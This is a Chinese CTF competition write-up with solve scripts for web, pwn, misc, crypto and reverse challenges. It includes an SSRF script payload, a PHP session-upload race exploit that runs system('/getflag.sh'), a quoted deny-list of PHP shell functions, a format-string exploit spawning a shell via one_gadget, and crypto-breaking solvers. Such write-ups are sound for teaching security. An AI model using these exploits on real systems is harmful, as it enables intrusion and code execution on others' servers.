发布于 

xyb-WP

祥云杯自杀式打比赛。

基本信息

战队名称:HASH-TEAM

所属单位:山东大学

排名:总58,高校组31

攻克题目

web

Secrets_Of_Admin

安全检测

PWN

note

misc

鸣雏恋

考古

ChieftainsSecret

cry

myRSA

Guess

Random_RSA

re

勒索解密

Rev_Dizzy

WP

先放队友的

web

Secrets_Of_Admin

content的过滤可抓包后用数组绕过,经试验发现pdf会执行<script>标签中的代码,再结合api/files这个路由的功能便可实现ssrf。

在/api/files/:id路由中,不能访问username为superuser的列的内容,但flag写入在其中,考虑到我们访问它的时候token.username是admin,可以通过ssrf将flag写入admin的filename中,但这里因为filename列开启了UNIQUE属性,所以不能直接写flag,所以写入../files/flag即可。

1
content[]=<script>location.href="http://127.0.0.1:8888/api/files?username=admin&file=../files/flag&checksec=aaa"</script>

注意url编码。

安全检测

登录进入后发现存在SSRF 扫目录发现存在/admin目录,直接进入会403 利用SSRF检测http://127.0.0.1/admin发现存在目录泄漏 /admin下存在include123.php直接访问仍然是403,于是利用SSRF访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);


show_source(__FILE__);
?>

很多东西都被ban了,似乎只能用作普通包含,立刻可以想到session文件投毒 利用以下脚本,并不断申请检测 http://127.0.0.1/admin/include123.php?u=/tmp/sess_slug01sh 多试几次就能靠竞争拿到flag(之所以知道是/getflag.sh是因为之前还竞争了一次运行了system("find / -name *flag*"),找到了flag位置)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import threading

# 攻击目标
HOST = "http://eci-2ze00wkcjcngk5rviuwt.cloudeci1.ichunqiu.com/"

headers = {
'Connection': 'close',
# 上传后的文件名为:sess + $PHPSESSID = sess_slug01sh,所以 PHPSESSID 可以自定义。
'Cookie': 'PHPSESSID=slug01sh'
}
# success 用于设置标志,可以知道是否包含成功。
payload = """success<?php system("/getflag.sh");?>"""

# 封装成函数,方便设置多线程。
def run():
# padding为8MB,用于上传。
padding = 'a'*(80000-1)
while True:
# 后台会保存同时保存「上传的文件」和「sess」文件。后台会先删除上传的文件,当上传的文件比较大就会导致 sess 有比较长的停留时间,从而导致被包含。
# 故有以下几点关键因素:
# 1. Padding足够大
# 2. 线程数足够多。
# 3. 网速足够好。
requests.post(
url=HOST,
# 上传文件文件。
files={"file": (
"f", padding)},
# 保存 sess 文件
data={
'PHP_SESSION_UPLOAD_PROGRESS': payload
},
headers=headers
)


# 程序入口,这样写比较会比较清晰。
if __name__ == '__main__':
# 使用多线程进行文件上传
for i in range(30):
T = threading.Thread(target=run, args=())
T.start()

PWN

note

2.23保护全开

add

添加一个0x100内的堆块,会告知该堆块地址。指针存在bss段。(没用到)

say

往栈区buf写0x64字节,然后作为scanf的参数,这里可以输入形如%10%p格式的值作为参数,配合溢出控制栈中参数,引入任意地址写。

show

打印bss段存的指针指向的堆块内容。(没用到)

这题add和show都没使用到,也不知道怎么用。先用了格式化字符串的任意写修改_IO_2_1_stdout的flag和read_base,得到libc基址。然后再用格式化字符串修改栈中的内容,栈喷射填入one_gadget,最后在末尾添加""字符,就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *

context.log_level="debug"
#context.aslr = "false"

def add(size="64",content="aaa"):
p.sendlineafter("choice:","1")
p.sendlineafter("size:",str(size))
if(content==""):
return
p.sendlineafter("content:",content)
p.recvuntil("addr: ")
return int(p.recv(14),16)

def say(format,content):
p.sendlineafter("choice:","2")
p.sendafter("say ? ",format)
if(content!=""):
p.sendlineafter("?",content)


def show():
p.sendlineafter("choice:","3")



def debug(s=[]):
s.append("b *$rebase(0x1235)")
#s.append("b *$rebase(0x1367)") #malloc
s.append("set $s=$rebase(0x4050)")
#s.append("b *$rebase(0x1465)")
gdb.attach(p,"\n".join(s))

p = process("./note")
#p = remote("47.104.70.90",25315)
libc = ELF("./libc-2.23.so")

say("%13$x","fbad3887")
say("%c%7$caa"+p8(0x40),"\x0a")

p.recvuntil("\x00"*14)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x3c36e0
info("libc_base =====> 0x%x",libc.address)
og = libc.address+0xf03a4
say("%17$saaa"+"b"*80,p64(og)*10+p64(0)*10)

p.interactive()


'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL


'''

附exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.log_level="debug"
#context.aslr = "false"

def add(size="64",content="aaa"):
p.sendlineafter("choice:","1")
p.sendlineafter("size:",str(size))
if(content==""):
return
p.sendlineafter("content:",content)
p.recvuntil("addr: ")
return int(p.recv(14),16)

def say(format,content):
p.sendlineafter("choice:","2")
p.sendafter("say ? ",format)
if(content!=""):
p.sendlineafter("?",content)


def show():
p.sendlineafter("choice:","3")



def debug(s=[]):
s.append("b *$rebase(0x1235)")
#s.append("b *$rebase(0x1367)") #malloc
s.append("set $s=$rebase(0x4050)")
#s.append("b *$rebase(0x1465)")
gdb.attach(p,"\n".join(s))

p = process("./note")
#p = remote("47.104.70.90",25315)
libc = ELF("./libc-2.23.so")


say("%13$x","fbad3887")

say("%c%7$caa"+p8(0x40),"\x0a")

p.recvuntil("\x00"*14)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x3c36e0
info("libc_base =====> 0x%x",libc.address)

og = libc.address+0xf03a4


say("%17$saaa"+"b"*80,p64(og)*10+p64(0)*10)

p.interactive()


'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL


0x7fa11925da70 <realloc_hook_ini>: push r15
0x7fa11925da72 <realloc_hook_ini+2>: push r14
0x7fa11925da74 <realloc_hook_ini+4>: push r13
0x7fa11925da76 <realloc_hook_ini+6>: push r12
0x7fa11925da78 <realloc_hook_ini+8>: mov r12,rsi
0x7fa11925da7b <realloc_hook_ini+11>: push rbp
0x7fa11925da7c <realloc_hook_ini+12>: push rbx
0x7fa11925da7d <realloc_hook_ini+13>: mov rbx,rdi
0x7fa11925da80 <realloc_hook_ini+16>: sub rsp,0x38


'''

misc

鸣雏恋

附件为鸣雏恋.docx,大小 65 MB ,打开后发现只有 7 个字,全选没隐藏元素,故内容肯定有隐写了啥,不然没这么大。

后缀 docx 改 zip 直接解压,在 _rels 文件夹下发现 key.txt 和带密码的压缩包 love.zip 。

观察 key.txt ,发现字数与实际不符,010editor 也可查看到字间有很多未显示字符。

在 http://330k.github.io/misc_tools/unicode_steganography.html 零宽字符解密得压缩包密码

Because I like naruto best

解压 love.zip

129488 个图,解压时吓到我了

观察后发现总共只出现了两种图,同种图内容无差异,联想到是否是01序列字符串,写脚本

1
2
3
4
5
6
7
8
9
10
11
import os

out = open("1.txt","w")

for i in range(129488):
if os.path.getsize('./out/'+str(i)+".png") == 262:
out.write("0")
else:
out.write("1")

out.close()

得到 01 字符串,扔进 Cyberchef 转16进制得一张 base64 编码的图片,解码后得到 flag(图片真的好糊)

考古

附件名 memory ,判断为内存镜像,使用 volatility 进行分析

cmdscan得到提示,判断 Oneclickcleanup.exe 应该是恶意软件,为解题关键

filescan | grep Oneclickcleanup 得到地址

dumpfile 得到 Oneclickcleanup.exe

之后陷入了一段时间的困境,主要是找不到合适的虚拟机和re手不理我,使用winXPSP2运行该程序该程序会打印 10 行 Hacked by 1cePack!!!!!!! 然后程序崩溃

re手看了一眼,告诉我异或一下恢复了一个 f14g.dot ,里头写着 此处无flag三百两 ,怼了一会之后想起re说的异或,拿去cyberchef爆破了一下 xor brute force 就爆出flag了

接下来是我的

ps.我就是那个被当成逆向手用的密码手,准确来说逆完得到的是一个data数据,丢进DIE发现是MS word,再加上ida打开读二进制能看到MS的文件,所以改后缀doc直接打开,但尝试改其他几个提到的名称没啥作用,就想着是不是有其他的加密。再加上老旧电脑,容易想到比特翻转啥的,就试了试cyberchef的爆破异或,拿到flag.

ChieftainsSecret

打开发现是个老旧电话机,binwalk+foremost分解出来一个rar

解rar得到一张电路图和一份数据。csv数据转xlsx。

直接作图结合电路图可以猜到是提供正余弦波返回角度,通过角度恢复号码

量了量发现基本上每个按键都是22.5度,所以直接反三角函数得到线性关系再凑整。

一番操作后得到下图

当晚失败。

起来读了读数据发现其实没到上界,于是把之前按照头的方式改成按照尾的方式试一下,即

66974851346 77085962457

试了试,得到了flag

cry

提前声明,由于本人虚拟机第二天崩了,导致第一天的三个密码脚本只剩一个guess,所以后两个题重做,与原数据会有出入。

myrsa

这个题核心就化式子。

观察题目,发现给了最多15次加密给定明文的机会,并通过功能2得到同种加密的flag

取RSA的结果为c,返回值为C,则\(C=[(p+q)^3-(p+q)^2+(p+q)+4n]\cdot c+randk\)

那这个题核心就变成构造式子化式子。

取rsa不动点m=c=1,\(C=(p+q)^3-(p+q)^2+(p+q)+4n+randk\),

注意到p+q在513bit数量级上,而虽然\(4n-(p+q)^2<0\)但randk数量级更大,所以整体数量级就会有\(C>(p+q)^3\)

另一方面randk数量级1040左右,将其在数量级上与(p+q)约等,有\(C<(p+q)^3+2^{14}(p+q)^2<(p+q+\frac{2^{14}}{3})^3\)

可爆破\(p+q<\sqrt [3]{C}<p+q+\frac{2^{14}}{3}\),通过\((p+q)^2-4n=(p-q)^2\)​验证验证整除性分解出pq,进而解决问题。

对于随机数,要不通过整除性和开根性把随机数去掉,要不增加额外信息把随机数消去,这里发现c的系数远大于randk,直接整除消去即可。

抓数据的时候需要传入b"\0x1"所以重做魔改了guess的脚本传参。

抓数据的脚本(具体脚本guess中再说明):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

from gmpy2 import *
p=remote("47.104.85.225",49803)

q=process('./pysha.sh' )

s=p.recvuntil("+")
s=p.recvuntil(")")
la=s[:-1]
s=p.recvuntil("==")

s=p.recvuntil("\n")
sha=s[1:-1]
q.recvuntil("?:")
q.sendline(str(la)[2:-1])
q.recvuntil("ans:")
q.sendline(str(sha)[2:-1])

s=q.recvuntil("\n")
ans=s[:-1]
q.close()
p.sendline(ans)


s=p.recvuntil("XD")
print(s)
s=p.recvuntil("exit\n")
print(s)
p.sendline("1")
p.sendline(b"\1")
s=p.recvuntil("exit\n")
print(s)
p.sendline("2")
s=p.recvuntil("exit\n")
print(s)

解题exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import * 
from gmpy2 import *
n=91577447205147667611551166651148159825345179715364601594077027893031083611820861959977958083288385510390613645055114672065277624105281662665460291875077463092105641344853261941975069549611413763244027543795334474976524210486370397223844470271100179434182177488170080288860375929625125518125090465386442422587

m1=8181648242803989214514445934927841208619987106590461435159129043734901772622668683285949841811428654072672003030904916560710176833186906059333631030516947485723715578306840873091915967598736484316800987250208898524210568831172767405524225385917734166034526151618536223702806989627079557150159684771403414023747511131177762829852743083938250497213253208176939122454271652209073442524253112947712522100303072466532861191527257221540989916277638458618652105378750790

flag=72862614488085398184150099172367486470440066709703397653252119298734061062758602950653665578115380747584226642516560700255119619688476857483149025678911121293595274700545605301466830716850543211198624776184945084186286370042080319172859232568640545931874102731097553373909883628130546337883768162622775365285880477416353810920922290705542720483744672618804269492262144525313603094384445742701917540972628645062262735975366851315702559140252476860333093100094140413235419898279968081770301181929794141087493840989563007421962512137067451823614635241553469231998578416632304447781847672853280188413173856997627160886225214089946400973594144366673967604536653572872982915958409381856646933761686767418840408130135463074200248091036879378790285556349964980002659927679683816
n=91577447205147667611551166651148159825345179715364601594077027893031083611820861959977958083288385510390613645055114672065277624105281662665460291875077463092105641344853261941975069549611413763244027543795334474976524210486370397223844470271100179434182177488170080288860375929625125518125090465386442422587

m1=8181648242803989214514445934927841208619987106590461435159129043734901772622668683285949841811428654072672003030904916560710176833186906059333631030516947485723715578306840873091915967598736484316800987250208898524210568831172767405524225385917734166034526151618536223702806989627079557150159684771403414023747511131177762829852743083938250497213253208176939122454271652209073442524253112947712522100303072466532861191527257221540989916277638458618652105378750790

flag=72862614488085398184150099172367486470440066709703397653252119298734061062758602950653665578115380747584226642516560700255119619688476857483149025678911121293595274700545605301466830716850543211198624776184945084186286370042080319172859232568640545931874102731097553373909883628130546337883768162622775365285880477416353810920922290705542720483744672618804269492262144525313603094384445742701917540972628645062262735975366851315702559140252476860333093100094140413235419898279968081770301181929794141087493840989563007421962512137067451823614635241553469231998578416632304447781847672853280188413173856997627160886225214089946400973594144366673967604536653572872982915958409381856646933761686767418840408130135463074200248091036879378790285556349964980002659927679683816
t = iroot(m1,3)[0]
while iroot(t*t-4*n,2)[1] == False:
t = t-1
t2 = iroot(t*t-4*n,2)[0]
p = (t+t2)//2
q = n//p
print(p*q==n)
f = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1)+2*p*q + p + q
c = flag//f
d = inverse(65537, (p-1) * (q-1))
print(long_to_bytes(pow(c,d,n)))

guess

先提供一次解密机,再对提供的参数做加密,判断加密的key是奇数位(1)还是偶数位(0),再提供一次解密机,但不能解密上次的明文,最后输入0,1,验证32次即成功。

想到是同态加密,一查发现的确是同态算法,有ci*cj=mi+mj,至此问题解决。

构造以下过程

1
2
3
4
send c1,recv m1
send mi,mj,m2=mi*mj*key[s],recv c2
send c3=c1*c2,recv m3=m1+m2
则 key[s]=(m3-m1)//(mi*mj)

在key.sage中发现key只有80个,且为静态的,上界1000,下界100

用dic数组爆破

脚本如下

(因为写好了过sha的脚本,所以直接用进程间通信写的)会有以下两个文件pysha.sh。

1
2
3
#! /bin/sh

python3 './sha.py'

sha.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from hashlib import sha256
from base64 import *
s='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
m0=input('XXX+?:')
print(m0)
a=input("ans:")
for i in range(64):
for j in range(64):
for k in range(64):
for l in range(64):
t=s[i]+s[j]+s[k]+s[l]
m=t+m0
p=sha256()
p.update(m.encode("UTF-8"))
d=p.hexdigest()
if a in d:
print(t)

主体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

from pwn import *

from gmpy2 import *
dic=[-1]*1001
i=1
f=0
while i:
print(i)
p=remote("47.104.85.225",57811)
q=process('./pysha.sh' )

s=p.recvuntil("?+")
s=p.recvuntil(")")
la=s[:-1]
s=p.recvuntil("==")

s=p.recvuntil("\n")
sha=s[1:-1]
q.recvuntil("?:")
q.sendline(str(la)[2:-1])
q.recvuntil("ans:")
q.sendline(str(sha)[2:-1])

s=q.recvuntil("\n")
ans=s[:-1]
q.close()

p.sendline(str(ans)[2:-1])

for j in range(32):
s=p.recvuntil("n = ")
s=p.recvuntil('\n')
n=eval(s)
g=n+1
s=p.recvuntil("ciphertext.\n")
p.sendline("2")
s=p.recvuntil("xt.\n")
s=p.recvline()
m1=eval(s)
c1=2

s=p.recvuntil("m0.\n")
p.sendline("10")
s=p.recvuntil("m1.\n")
p.sendline("10")
s=p.recvuntil("xt.\n")
s=p.recvline()
c2=eval(s)

s=p.recvuntil('decimal ciphertext \n')
t=str(c2*c1)
p.sendline(str(c2*c1))
s=p.recvuntil("xt.\n")
s=p.recvline()
m3=eval(s)
t=((m3+n-m1)%n)//100
print(t)
s=p.recvuntil("?\n")
if dic[t]!=-1:
p.sendline(str(dic[t]))
else :
p.sendline("0")
f+=1
s=p.recvline()
print(s)
print(b'Sorry' in s)
if b"Sorry" in s:
dic[t]=1
print("wrong")
break
else :
dic[t]=0
if j==31:
s=p.recvuntil("}")
print(s)
exit(0)
p.close()
print(str(f)+" was found")
i+=1

random RSA

发现是个带随机数生成的dp泄露,通过给的数据确定出是py2下的MT算法,于是得到dp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#py2
from Crypto.Util.number import *
import gmpy2
import libnum
import random
import binascii
import os
seeds=[4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627, 8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579]
res=[55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0, 79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179, 23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 212, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 108, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51, 133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 24, 59, 186, 46, 130, 147, 219, 22, 81]
dp=[]
for i in range(0, len(seeds)):
random.seed(seeds[i])
rands = []
for j in range(0,4):
rands.append(random.randint(0,255))

dp.append(chr(res[i] ^ rands[i%4]))
print("".join(dp))

然后就dp泄露一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
dp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057
def decrypt(e, dp, n):
t = dp * e - 1
for i in range(1, e):
if not t % i:
p = t // i + 1
if not n % p:
q = n // p
phi = (p - 1) * (q - 1)
d = int(gmpy2.invert(e, phi))
return d

n=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
ct=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151

e = 0x10001

d = decrypt(e, dp, n)
print(long_to_bytes(pow(ct, d, n)))

re

勒索解密

发现用了密码学固件,【密码人支楞起来了】,再结合题干提到的漏洞,猜测是密码学固件滥用。

从固件往下分析,发现有一个函数用了大量的固件,于是戳进去动调。

动调的时候需要过一个校验,满足v7<=0x100000.

可以注意到关键函数用了一个hash,查询api发现是sha256

然后可以直接读到hash前的数据为B2 2F C6 0E 4F D4 54 4B 00 00 00 00 21 E7 B1 8E,空位补时间戳。

翻压缩包拿到加密时间,在线查了下时间戳为1629098245,转小端 塞进去05 11 a1 61

(长久不做逆向大小端转换都忘了,被卡了一上午)

过sha256后输出前16字节,然后16字节密钥。

猜是AES,查了密码接口果然是AES128,api文档说了默认加密CBC,iv=0

参数齐活,拿去写脚本,解密得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from  hashlib import sha256
sha=sha256()
m=b"\xB2\x2F\xC6\x0E\x4F\xD4\x54\x4B"+b"\x05\x11\x1a\x61"+b"\x21\xE7\xB1\x8E"
sha.update(m)
d=sha.hexdigest()
key=d[:32]
from Crypto.Util.number import long_to_bytes
key=long_to_bytes(int(key,16))
print(key)
print(type(key))
from Crypto.Cipher import AES
iv=b"\00"*16
crypter=AES.new(key,AES.MODE_CBC,iv)
f=open('./flag.bmp.ctf_crypter' ,"rb")
s=f.read()
s=s[:len(s)//16*16]
//这里看长度不对直接暴力凑的整
m=crypter.decrypt(s)
g=open('./flag.bmp',"wb" )
g.write(m)
g.close()

rev_Dizzy

最开始打开题目人都懵了,没法f5玩个der【不是】,后来仔细看了看代码结构,发现好像是+=-=^=这类的模式,不是方程组,就可以直接逆过程,于是通过重置函数手动e,p反复拆成了多个小函数,反汇编之后拿到C代码,于是翻转行,加减交换,再把最终结果放进去,得到答案。

脚本不放了,5000+行未免有些多,放个截图。


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。

本站由 [@Zuni](http://example.com/) 创建,使用 Stellar 作为主题。